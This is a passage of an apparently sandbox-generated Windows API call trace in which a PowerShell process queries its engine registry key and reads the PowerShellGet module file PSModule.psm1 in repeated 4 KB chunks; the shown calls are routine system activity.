lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dc80 | out: phkResult=0x5a2dc80*=0x3d0) returned 0x0 [0159.438] RegQueryValueExW (in: hKey=0x3d0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dca0, lpData=0x0, lpcbData=0x5a2dc9c*=0x0 | out: lpType=0x5a2dca0*=0x1, lpData=0x0, lpcbData=0x5a2dc9c*=0x56) returned 0x0 [0159.438] RegQueryValueExW (in: hKey=0x3d0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dca0, lpData=0x2151ac4, lpcbData=0x5a2dc9c*=0x56 | out: lpType=0x5a2dca0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2dc9c*=0x56) returned 0x0 [0159.438] RegCloseKey (hKey=0x3d0) returned 0x0 [0159.441] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0159.445] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0159.448] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0159.452] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0159.456] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0159.460] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Resource.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.resource.psd1")) returned 0x20 [0159.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0159.464] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x5a [0159.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2da80) returned 1 [0159.464] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGetModuleInfo.xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x5a2dd44 | out: lpFileInformation=0x5a2dd44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0159.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2da7c) returned 1 [0159.465] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0159.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0159.466] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0159.466] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d5a8) returned 1 [0159.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), fInfoLevelId=0x0, lpFileInformation=0x217ecf8 | out: lpFileInformation=0x217ecf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499c9860, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8caa9)) returned 1 [0159.466] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d5a4) returned 1 [0159.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0159.467] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", nBufferLength=0x55, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1", lpFilePart=0x0) returned 0x54 [0159.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2d74c) returned 1 [0159.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0 [0159.467] GetFileType (hFile=0x3d0) returned 0x1 [0159.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2d748) returned 1 [0159.467] GetFileType (hFile=0x3d0) returned 0x1 [0159.467] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x0 [0159.467] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.471] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1000 [0159.471] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.471] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x2000 [0159.471] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.472] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x3000 [0159.472] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.472] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x4000 [0159.472] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.472] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x5000 [0159.472] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.473] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x6000 [0159.473] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.473] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x7000 [0159.473] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.474] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x8000 [0159.474] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.474] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x9000 [0159.474] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.474] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xa000 [0159.474] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.475] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xb000 [0159.475] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.475] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xc000 [0159.475] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.475] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xd000 [0159.476] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.476] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xe000 [0159.476] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.476] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0xf000 [0159.476] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.477] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x10000 [0159.477] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.477] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x11000 [0159.477] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.477] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x12000 [0159.477] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.478] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x13000 [0159.478] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.478] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x14000 [0159.478] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.478] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x15000 [0159.479] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.479] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x16000 [0159.479] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.479] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x17000 [0159.479] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.480] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x18000 [0159.480] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.480] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x19000 [0159.480] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.480] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1a000 [0159.481] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.481] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1b000 [0159.481] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.481] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1c000 [0159.481] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.482] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1d000 [0159.482] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.482] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1e000 [0159.482] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.482] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x1f000 [0159.482] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.483] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x20000 [0159.483] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.483] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x21000 [0159.483] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.484] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x22000 [0159.484] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.484] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x23000 [0159.484] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.484] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x24000 [0159.484] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.485] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x25000 [0159.485] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.485] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x26000 [0159.485] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.486] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x27000 [0159.486] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.486] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x28000 [0159.486] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, lpOverlapped=0x0 | out: lpBuffer=0x217fafc*, lpNumberOfBytesRead=0x5a2d7b4*=0x1000, lpOverlapped=0x0) returned 1 [0159.486] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2d788*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2d788*=0) returned 0x29000 [0159.486] ReadFile (in: hFile=0x3d0, lpBuffer=0x217fafc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2d7b4, 